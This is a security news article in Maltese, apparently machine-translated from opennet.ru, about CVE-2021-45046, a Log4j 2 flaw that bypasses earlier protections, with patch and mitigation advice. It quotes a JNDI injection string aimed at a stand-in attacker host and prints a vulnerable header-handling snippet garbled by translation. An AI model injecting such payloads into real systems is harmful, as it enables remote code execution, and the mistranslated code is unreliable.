Għażla ġdida ta 'attakk għal Log4j 2 li tippermettilek tevita l-protezzjoni miżjuda

Ġiet identifikata vulnerabbiltà oħra fl-implimentazzjoni ta’ lookups JNDI fil-librerija Log4j 2 (CVE-2021-45046), li tidher minkejja l-soluzzjonijiet miżjuda fir-rilaxx 2.15 u irrispettivament mill-użu tal-issettjar “log4j2.noFormatMsgLookup” għall-protezzjoni. Il-problema hija perikoluża prinċipalment għal verżjonijiet eqdem ta’ Log4j 2, protetti bl-użu tal-bandiera “noFormatMsgLookup”, peress li jagħmilha possibbli li tevita l-protezzjoni minn vulnerabbiltajiet preċedenti (Log4Shell, CVE-2021-44228), li tippermettilek tesegwixxi l-kodiċi tiegħek fuq il- server. Għall-utenti tal-verżjoni 2.15, l-esplojtazzjoni hija limitata biex tikkawża li l-applikazzjoni tiġġarraf minħabba l-eżawriment tar-riżorsi disponibbli.

Il-vulnerabbiltà tidher biss fuq sistemi li jużaw Context Lookups għall-illoggjar, bħal ${ctx:loginId}, jew mudelli MDC (Thread Context Map), bħal %X, %mdc, u %MDC. It-tħaddim jasal għall-ħolqien ta' kundizzjonijiet għall-ħruġ ta' data li jkun fiha sostituzzjonijiet JNDI fir-reġistru meta tuża mistoqsijiet tal-kuntest jew mudelli MDC fl-applikazzjoni li jiddefinixxu r-regoli għall-ifformattjar tal-output fir-reġistru.

Riċerkaturi minn LunaSec innutaw li għal verżjonijiet ta’ Log4j inqas minn 2.15, din il-vulnerabbiltà tista’ tintuża bħala vettur ġdid għal attakk Log4Shell, li jwassal għall-eżekuzzjoni tal-kodiċi, jekk fl-output tal-log jintużaw espressjonijiet ThreadContext li jinkludu data esterna, irrispettivament minn jekk il- "protect" hija attivata. noMsgFormatLookups" jew il-mudell "%m{nolookups}".

Għażla ġdida ta 'attakk għal Log4j 2 li tippermettilek tevita l-protezzjoni miżjuda

It-tneħħija tal-protezzjoni niżel għall-fatt li minflok is-sostituzzjoni diretta ta’ “${jndi:ldap://attacker.com/a}”, din l-espressjoni hija sostitwita permezz tal-valur ta’ varjabbli intermedju użata fir-regoli għall-ifformattjar tal-output tal-ġurnal. . Pereżempju, jekk tintuża l-mistoqsija tal-kuntest ${ctx:apiversion} meta toħroġ fil-log, allura l-attakk jista' jitwettaq billi tissostitwixxi d-data "${jndi:ldap://attacker.com/a}" fil- valur miktub fil-varjabbli apiversion. Eżempju ta' kodiċi vulnerabbli: appender.console.layout.pattern = ${ctx:apiversion} - %d{ssss-MM-jj HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Il-valur tal-header HTTP "X-Api-Version" huwa mgħoddi lill-ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Meta tilloggja, il-valur estern tal-apiversion jiġi pproċessat bl-użu tas-sostituzzjoni ${ctx:apiversion} logger.info("Irċeviet talba għall-verżjoni tal-API"); lura "Hello, dinja!"; }

Fil-verżjoni Log4j 2.15, il-vulnerabbiltà tista 'tintuża biex twettaq attakki DoS meta tgħaddi valuri lil ThreadContext, li tirriżulta f'linja fl-ipproċessar tal-mudelli tal-ifformattjar tal-output.

Għażla ġdida ta 'attakk għal Log4j 2 li tippermettilek tevita l-protezzjoni miżjuda

Biex timblokka l-vulnerabbiltà, ġew ippubblikati aġġornamenti 2.16 u 2.12.2. Fil-fergħa Log4j 2.16, minbarra s-settijiet implimentati fil-verżjoni 2.15 u l-irbit tat-talbiet JNDI LDAP għal "localhost", il-funzjonalità JNDI hija kompletament diżattivata b'mod awtomatiku u l-appoġġ għall-mudelli ta 'sostituzzjoni tal-messaġġi jitneħħa. Bħala soluzzjoni tas-sigurtà, huwa ssuġġerit li titneħħa l-klassi JndiLookup mill-passaġġ tal-klassi (per eżempju, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Tista 'ssegwi d-dehra ta' soluzzjoni f'pakketti fuq il-paġni tad-distribuzzjonijiet (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) u manifatturi tal-pjattaformi Java (GitHub, Docker, Oracle, vmWare, Broadcom u Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, eċċ.).

Sors: opennet.ru

Żid kumment